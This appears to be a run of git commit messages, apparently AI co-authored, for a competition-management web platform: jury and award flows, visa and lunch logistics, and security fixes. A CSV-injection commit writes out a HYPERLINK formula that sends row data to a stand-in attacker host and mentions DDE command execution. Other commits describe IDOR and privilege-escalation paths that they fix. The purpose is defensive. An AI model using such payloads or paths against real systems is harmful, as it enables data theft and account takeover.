- stats.getApplicantNationalities procedure aggregates User.nationality
across team members of projects in the selected scope (round/program
/global)
- New Applicant Nationalities card on /admin/reports, top-10 with
Show all expansion, country names from the existing ISO map
- Handles the ~30% null case explicitly ("Not declared: N")
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
The previous Additional Roles grid laid every role option out as a row of
checkboxes regardless of assignment, which made unchecked roles look like
roles the user already had — admins almost toggled the wrong role on the
wrong user (e.g. nearly granting JURY_MEMBER when looking at an
AWARD_MASTER).
New layout shows only the roles a user actually has, as removable badges
with an X. A "Manage roles" dropdown next to them surfaces the full role
list as DropdownMenuCheckboxItems (assigned ones are checked, the
primary role is excluded). Toggling any item opens an AlertDialog with
add/remove-specific copy that names the user and the dashboard being
granted/revoked, so the click is impossible to misread.
The change is staged into local additionalRoles state — same flow as
before — and persisted on Save. Modal copy spells this out so the admin
knows the action isn't applied until they click Save below.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
The original generateAccessLink branched on user state and minted either
an invite URL (forces password setup) or a reset URL (forces password
change). Both required the user to set/change a password — fine for new
users, painful for tech-illiterate sponsor jurors who already have a
working password and just need a fresh login because their JWT went
stale or their email is bouncing.
This adapts the existing invite-token flow to behave as a magic-login
when the user already has a password:
- auth.ts credentials.authorize: only set mustSetPassword=true if the
user has no passwordHash. Users who already set one keep it, the
invite token is consumed, JWT is issued with their current role,
they're signed in.
- accept-invite/page.tsx: redirect to / after accept (was hardcoded
to /set-password). The middleware already enforces the
/set-password detour when mustSetPassword is true, so users who
need it still land there; everyone else routes by role.
- generateAccessLink: drop the reset-password branch. Always emits an
/accept-invite URL. The flow naturally adapts: setup for new users,
magic-login for active ones. Audit log records which behavior fired
(kind: 'setup' | 'magic_login').
- dialog copy: clearer description for each kind.
Net behavior: Didier (active, has password, stale JWT after role
migration) clicks his link → instant login on /jury, password preserved.
Magali (no password yet) clicks hers → /set-password → onboarding.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Adds a "Copy Access Link" button on the member detail page that mints a
one-time URL the admin can share over Slack, WhatsApp, or any other
channel. Solves the "we sent them an invite three weeks ago and it
silently dropped into spam" failure mode that left jurors stranded.
Server: user.generateAccessLink (adminProcedure) inspects the target
user's state and picks the right flow:
- INVITED / NONE / mustSetPassword / no password ever set → invite-flow
URL (/accept-invite?token=…); the existing flow takes them through
accept → set password → onboarding without further admin help.
- Active user with a password → password-reset URL
(/reset-password?token=…); they pick a new password and middleware
bounces them to onboarding if it's still pending.
Both flows already exist; this just exposes a way to mint a fresh token
without sending an email. The token has a 24h hard expiry and is consumed
on successful completion of the flow, so a leaked or screenshot link
can't be replayed against a different user later in the day. Each
generation is audit-logged with the admin's id, the target user's id +
email, and the link kind.
UI: button next to Resend Invite on /admin/members/[id]; opens a dialog
with a read-only input pre-selected, a one-click copy button, expiry
timestamp, and a warning not to paste in public channels.
Side benefit: users like Didier who have stale JWTs from a recent role
change can use a fresh access link to force a re-login that picks up
their updated role.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
The AWARD_MASTER role split sponsor jurors into a parallel UI that hid
project files (only showed when the award was anchored to an evaluation
round) and duplicated the jury voting path with no real difference in
authority — tie-break and finalize were already governed by AwardJuror.isChair
regardless of the user's global role. Inviting a juror via the award page
defaulted to AWARD_MASTER, randomly fragmenting jury panels.
This collapses the role into JURY_MEMBER + isChair:
- specialAward.getMyAwardDetail now returns evaluation scores, chair
visibility into other jurors' votes, and juror roster
- specialAward.submitVote accepts an optional justification per vote
- specialAward.confirmWinner moves from awardMasterProcedure to
protectedProcedure (juror+chair check inside)
- bulkInviteJurors creates JURY_MEMBER accounts and, when the award has
a juryGroupId, also adds them to that JuryGroup so they appear on
the round-page jury panel
- jury award page renders justification, eval-score badges, and a
chair tools panel with vote tally + finalize-winner CTA
- juryGroup.list includes attached SpecialAwards; the jury-list UI
shows a trophy pill alongside round pills
- (award-master) route group, awardMasterProcedure, AWARD_MASTER role
enum value, and AWARD_MASTER_DECISION decisionMode are deleted
- migration demotes any residual AWARD_MASTER users to JURY_MEMBER and
recreates the UserRole enum without the value
Coup de Coeur on prod: Didier (the sponsor juror added today as
AWARD_MASTER by the buggy invite form) was migrated to JURY_MEMBER and
attached to the existing "Coup de Coeur" JuryGroup; the SpecialAward
itself was linked to that group (juryGroupId was NULL).
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
- Dashboard summary card: globalScore is /10 (was /100) and DELIBERATION
rounds skip the avg-score row (rank, not score)
- Per-criterion progress bars on full evaluations page: bg-brand-dark is
not a defined class and rendered invisible; switched to bg-brand-blue
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
- globalScore is /10 (was hardcoded /100); use real round.name (was 'Round N')
- Render criteria by type: numeric uses parsed scale (1-10/0-10/1-5),
text shows as quoted block, boolean/advance hidden as jury-internal
- Drop redundant cross-round stat strip and per-round Score Comparison
- Plain language: 'Lowest/Highest' instead of 'Range', 'reviews' not 'evaluations'
- Settings toggles update optimistically (was waiting for refresh)
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
When finalizing a round with no further round to advance to, passing teams
are winners — not advancers. Detected for both special-award terminal rounds
(label = award name) and the main competition's terminal round (label =
competition name). Wording uses "a winner" so it works for both single-winner
awards and top-N main-track outcomes.
Adds AWARD_WINNER_NOTIFICATION email type + template ("Your project has won!"
with "our team will reach out about next steps" copy). Routes through the
notification dispatch table the same way ADVANCEMENT_NOTIFICATION does.
The FinalizationSummary gains a `winnerContext` field; the admin finalization
tab uses it to swap "X projects will advance to Y" → "X winners will be
notified for [label]" and renames "Advancement Message" → "Winner Message"
in the custom-message field. The email-preview button shows the winner
template when applicable.
In-app notification (bell icon) gets matching winner copy.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
The mentoring round is opt-in (eligibility: requested_only) and only a subset
of advancing teams enter it; the rest auto-pass through. Showing it as the
"next round" in the finalization summary and advancement emails was misleading
since Grand Finale is the shared destination for all advancing teams.
Routing is unchanged — targetRoundId still points to the next round by sortOrder
(may be MENTORING) so opt-in handling is preserved. Only the user-facing label
skips MENTORING.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
The previous addJuror / bulkAddJurors / bulkInviteJurors flows silently
created AwardJuror rows with no notification when the user already had
an account. The result: assigned jurors had no idea they were assigned
unless they happened to log in and check /jury/awards manually.
Three changes:
1. New email template + sender (sendAwardJurorNotificationEmail). Tells
the juror what the award is, how many projects are eligible, when
voting closes, and links straight to /jury/awards/<id>. Reused for
both the initial assignment notification and admin reminders.
2. Auto-send on assignment. addJuror / bulkAddJurors / bulkInviteJurors
now send the email to newly-attached jurors. bulkInviteJurors checks
for a prior AwardJuror row before sending so duplicate "Bulk Invite"
clicks don't spam jurors who were already assigned. addJuror /
bulkAddJurors accept a `sendEmail` flag so admin tooling can opt out.
3. New admin procedure specialAward.notifyJurors(awardId, userIds?,
customMessage?). Surfaced in the Jurors tab as a "Send reminder to
all" button at the top and a per-row mail icon for individual
reminders. Audit-logged with action: 'JUROR_REMINDER'.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
ai-shortlist was sending raw project.description, raw juror feedback
text (feedbackGeneral / feedbackText), and full extracted file text
content directly to OpenAI as part of the user prompt. Its only
"anonymization" was renaming `id` to `anonymousId`. This bypassed the
GDPR contract documented in the file's own header comment ("All project
data is anonymized before AI processing — No personal identifiers in
prompts") and in CLAUDE.md ("All AI calls anonymize data before sending
to OpenAI").
A juror writing "Contact applicant Jane Doe at jane@example.com" in
feedback would ship that PII to OpenAI verbatim every time an admin
generated a shortlist. Same for any names / emails / phone numbers
embedded in extracted PDF text.
generateCategoryShortlist now mirrors the pattern used by ai-filtering /
ai-tagging / ai-award-eligibility:
- toProjectWithRelations + anonymizeProjectsForAI(_, 'FILTERING')
- validateAnonymizedProjects gate that aborts on detected PII
- Aggregates (avgScore, evaluationCount, feedbackSamples) computed
separately and merged onto the anonymized projects; each feedback
sample passes through sanitizeText (strips email/phone/url/ssn) and
is truncated to 1000 chars.
Defense-in-depth fix in the shared helper: anonymizeProjectForAI now
also runs sanitizeText over each file's text_content before emitting it
to AI services. Previously the helper passed extracted file text
through unchanged, which would have leaked PII from PDF body text via
ai-filtering / ai-tagging / ai-award-eligibility too if those services
turn on aiParseFiles.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
CSV cells whose first character is one of `=`, `+`, `-`, `@`, `\t`, `\r`
are interpreted as formulas by Excel and LibreOffice when the file is
opened. `=HYPERLINK(...)` and `=WEBSERVICE(...)` execute on cell focus
with no prompt and can exfiltrate row data to an attacker URL; DDE
(`=cmd|...`) reaches RCE behind the "enable content" prompt.
The platform exposes anonymous-attacker reachable sinks:
- `application.submit` is publicProcedure with `projectName` as
`z.string().min(2).max(200)` — no character filter — so a project
titled `=HYPERLINK("https://evil/?d="&A1,"Click")` lands in every
admin export that includes Project.title.
- `userAgent` from any unauthenticated request is persisted to
`AuditLog.userAgent` and dumped verbatim into the audit-log CSV.
Three independent CSV builders all only escaped commas/quotes/newlines
and missed the formula-prefix class:
- `src/components/shared/csv-export-dialog.tsx` — used by
export.evaluations, export.assignments, export.filteringResults,
export.auditLogs, export.projectScores
- `src/components/admin/round/ranking-dashboard.tsx`
- `src/server/routers/lunch.ts` (lunch.exportManifestCsv)
Centralized the fix in a new `src/lib/csv.ts` `csvCell` helper that
prefixes a single quote when the value starts with a formula trigger,
then applies the standard quote/escape rules. Wired into all three
builders.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Three separate issues in the file storage layer:
1. IDOR via client-controlled object key in applicant.saveFileMetadata
and file.replaceFile. Both procedures accepted `bucket` and `objectKey`
from the client and stored them on a new ProjectFile row attached to
the caller's own project. Because file.getDownloadUrl authorizes via
`findFirst({ bucket, objectKey })` -> projectId, an attacker could
bind another team's storage object to their own project row and then
download the foreign object through the legitimate authorization
path. Now both procedures require `bucket === BUCKET_NAME` and the
`objectKey` to start with the project's sanitized title prefix
(matches the prefix that generateObjectKey produces server-side).
New helper `objectKeyBelongsToProject` exported from src/lib/minio.ts;
`sanitizePath` is now exported as well so the helper can reuse it.
2. Missing per-round scope on file.getBulkDownloadUrls. The single-file
getDownloadUrl restricts a juror to files in rounds with sortOrder
<= their assigned round, but the bulk variant only checked that an
Assignment row existed for the project. A juror assigned only to
EVALUATION could pull URLs for LIVE_FINAL/DELIBERATION confidential
files via this endpoint. Now applies the same per-round filter when
the caller's access to the project is jury-only (mentors / team
members / award jurors retain unrestricted access, matching
getDownloadUrl semantics).
3. Same omission on the standalone /api/files/bulk-download REST route.
Same fix applied there.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Three high-severity issues in user router:
1. user.update accepted both `role` and `roles[]` from input but only
guarded the singular `role`. A PROGRAM_ADMIN could pass `roles:
['SUPER_ADMIN']` and self-escalate. Now applies the same guards to the
array field and uses both fields when checking the target's current
admin tier.
2. user.updateRoles only blocked SUPER_ADMIN grants; PROGRAM_ADMIN could
grant PROGRAM_ADMIN laterally and could pass `roles: []` against any
existing SUPER_ADMIN to silently demote them. Now blocks PROGRAM_ADMIN
grants and refuses to mutate any target who currently holds SUPER_ADMIN
or PROGRAM_ADMIN unless the caller is SUPER_ADMIN.
3. user.bulkUpdateRoles had the same omission and additionally let a
PROGRAM_ADMIN strip SUPER_ADMIN from every peer admin in one call. Now
requires SUPER_ADMIN for any add/remove of admin-tier roles, blocks
modifying admin targets entirely from non-super-admins, and adds a
PROGRAM_ADMIN self-demote guard.
Plus: user.updateProfile previously let any authenticated user silently
overwrite their own email with no verification or notification — turning
any short-lived session compromise into permanent account takeover via
password reset on the new address. Email is removed from the input
schema; the profile page email field is now read-only with a "contact
an administrator" hint.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
project.list previously gated only JURY_MEMBER to assigned projects;
APPLICANT, MENTOR, OBSERVER, AUDIENCE, AWARD_MASTER fell through with
full access to every project across every program (team-member PII,
files, mentor identities). project.get had the same flaw.
Now: SUPER_ADMIN/PROGRAM_ADMIN see all (existing); OBSERVER/AWARD_MASTER
see all (these roles exist for cross-program oversight); JURY_MEMBER
sees only their assignments; MENTOR sees only their mentorAssignments;
APPLICANT sees only their team's projects; AUDIENCE sees nothing.
For users holding multiple roles, the access check uses an OR over the
applicable relationships (e.g. a mentor who is also an applicant sees
both their mentor projects and their team projects).
Existing admin/jury/mentor UIs continue to work because their access
paths are still satisfied. Audience users were not expected to use
project.list in the first place; they now correctly receive an empty
list rather than the full database.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Replace was previously accepted from anyone with a relationship to the
project: jury (assignment), mentor (mentorAssignment), or team member.
That allowed jurors and mentors to swap a team's submission, with the
attacker-supplied bucket+objectKey pointing at any object they had
uploaded elsewhere.
Now only admins and the team itself (submitter or TeamMember) can
replace files. Jurors and mentors remain read-only on submissions.
The legitimate UI flow (team-lead replacing files from the applicant
dashboard) is unaffected.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
evaluation.getDiscussion and evaluation.addComment were juryProcedure
that took projectId+roundId from input but never verified the caller
had an Assignment for that project+round. A juror could read foreign
deliberations and inject comments into them.
evaluation.getCOIStatus was protectedProcedure with no ownership check,
returning the full ConflictOfInterest record (including the free-text
description that captures personal/financial relationships) for any
assignmentId.
Both now check that admins are allowed always and otherwise require
assignment ownership. getCOIStatus loads the assignment to verify
caller ownership before returning the COI record.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
workspaceSendMessage, workspaceGetMessages, workspaceMarkRead, and
workspaceAddFileComment previously trusted the caller-supplied ID and
only checked workspaceEnabled. Any user with the MENTOR role could
read/post in any workspace, impersonating the assigned mentor and
inserting comments under any team's deliverables.
All four now run assertWorkspaceAccess (assigned mentor or team member
of the project), mirroring the file-handling procedures in the same
router. workspaceMarkRead resolves the message -> workspaceId first,
and additionally short-circuits when the caller is the sender so unread
state stays honest. workspaceAddFileComment resolves the file ->
mentorAssignmentId before the access check.
Procedures downgraded from mentorProcedure to protectedProcedure since
assertWorkspaceAccess is the real gate.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Prevents non-jury authenticated users from casting votes that get
counted in the jury aggregate. Admins are still allowed; everyone else
must be a JuryGroupMember of the round's jury group. Also explicitly
sets isAudienceVote=false on the upsert so audience votes can't be
laundered into jury votes via this path. Audience voting continues to
flow through the existing castAudienceVote publicProcedure.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Adds lunch.getProjectExternals (team-member guarded). Strip auto-hides
when no externals attached to the team.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
LunchPickForm shared between applicant dashboard rows (member-self /
team-lead context) and the admin manifest's edit-pencil slide-over.
Adds lunch.getMemberPick read for the per-row hydration.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Adds program.listFinalistProjects helper. Externals dialog supports
both standalone and project-attached entries; manifest's external row
edit-pencil opens this dialog via forwardRef.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Both endpoints follow the existing GET + x-cron-secret pattern. Per-event
try/catch ensures one failing event does not poison the sweep.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Adds sendLunchReminderEmail and sendLunchRecapEmail. Templates use
Intl.DateTimeFormat with Europe/Monaco zone. Reuses existing
escapeHtml helper.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Adds buildManifest service shared between getManifest and the recap.
CSV escaper handles commas/quotes/newlines for safe spreadsheet import.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Lazy-creates LunchEvent on first read or update. Audit-logs every
update with the patched fields.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Adds ensureLunchPickForAttendingMember helper called from confirm,
adminConfirm, and editAttendees attendee-creation paths. No-ops when
the program has no LunchEvent.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
- Remove the Documents tab — visa documents are out of scope for this
edition and there is no other concrete document need.
- Remove the Logistics > Settings disabled tab — every per-edition
configuration knob now lives at /admin/settings > Edition.
- Replace the inline "Visible to teams" toggle on the Visas tab with a
small "Edition settings" button that links straight to the
consolidated settings page. The toggle itself moved to that page in
the previous commit.
- Drop the now-unused getVisaVisibility / setVisaVisibility wiring
inside VisasTab. (The procedures still exist server-side; the new
Edition tab uses program.updateEditionSettings instead.)
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
New top-level Edition tab in the admin settings sidebar (under General,
between Defaults and Branding). Driven by the EditionSettingsTab
component which uses the EditionContext to scope to the current edition
and calls program.getEditionSettings / updateEditionSettings.
Three sub-sections:
- Grand-finale logistics: defaultAttendeeCap, confirmationWindowHours,
attendeeEditCutoffHours.
- Visa: visaStatusVisibleToMembers toggle (will be removed from the
Logistics > Visas tab in the next commit).
- Coming soon: placeholders for Lunch and Email Templates.
Each numeric input commits on blur; the visa toggle commits immediately.
All writes invalidate the query so the rest of the UI reflects changes
without a refresh.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Backs the new consolidated Edition tab on /admin/settings.
getEditionSettings returns a merged view of Program-level fields
(defaultAttendeeCap, visaStatusVisibleToMembers) plus LIVE_FINAL round
config (attendeeEditCutoffHours, confirmationWindowHours, with
sensible defaults). Round-derived values are null when the round
doesn't exist yet.
updateEditionSettings is partial — only supplied fields are written.
Round config writes merge into the existing configJson so other keys
are preserved. Audit-logged as PROGRAM_EDITION_SETTINGS_UPDATE.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
The mentor list now ends with a Teams column showing chips of each
mentor's active assignments (truncated at 2 + overflow badge). Clicking
any row opens a right-side Sheet with the mentor's profile (expertise,
country, joined date, max assignments) and a per-team activity feed —
project, status (active / completed / dropped), assignment date, and
counts of messages / files / milestones with their last timestamp.
Stat cards on both the Mentor and Mentee panels were stale and not
particularly informative, so they're gone — the table itself is now
the focal element on each panel.
getMentorPool gained an activeTeams[] field; new getMentorDetail query
backs the side sheet.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
The fixed h-10 wasn't tall enough to fit a 32px tab button plus the
overflow-x scrollbar, so buttons clipped and a vertical scroll appeared
inside the bar. Switching to h-auto + pb-2 lets the bar size naturally
and reserves space below the row for the scrollbar.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Stacking 8 tabs onto two rows looked rough. Switching the TabsList to
w-full + justify-start + overflow-x-auto keeps every tab on one line
and lets the bar scroll horizontally on narrower viewports.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Each member now sees their own visa status (status badge + next
upcoming date) on the applicant dashboard, sourced from
applicant.getMyVisaApplications. Other teammates' rows still show the
generic "Visa support" badge if they need a visa, since the platform
deliberately scopes visa visibility to the caller. The whole visa
surface auto-hides if the program toggle is off.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Activates the previously-disabled Visas tab on /admin/logistics.
VisasTab renders a flat table joined per attendee per project, sorted
by status priority. Status filter pills mirror the Confirmations tab.
The header carries a "Visible to teams" Switch backed by a new
logistics.getVisaVisibility query and the existing setVisaVisibility
mutation; toggling it controls whether members see their own status.
VisaEditDialog is a per-row editor with a status dropdown,
nationality input, three native date inputs (invitation / appointment
/ decision), and a notes textarea. No file uploads — the platform
deliberately holds zero document artifacts.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Returns the caller's visa application rows when the program's
visaStatusVisibleToMembers toggle is on; returns null when it's off
(so the UI can hide the section entirely); returns an empty array
when the toggle is on but the caller has no needsVisa attendees.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
logistics router gains three procedures for the Visas tab:
- listVisaApplications: program-scoped, joined with project + attendee,
sorted by status priority (REQUESTED first → NOT_NEEDED last).
- updateVisaApplication: partial update of status / dates / nationality /
notes; clears nullable fields on null. Audit-logged as VISA_UPDATE
with previous + next snapshots.
- setVisaVisibility: flips Program.visaStatusVisibleToMembers. Audit-
logged as VISA_VISIBILITY_SET.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
confirm and adminConfirm now create REQUESTED VisaApplication rows for
every attendee with needsVisa=true, in the same Prisma transaction as
the AttendingMember inserts. editAttendees was extended into a fully
diff-aware sync: existing attendees whose needsVisa flips on get a new
VisaApp; flipping off deletes it; staying true preserves the row (and
its status / notes / dates). Removed attendees cascade automatically
via the FK.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>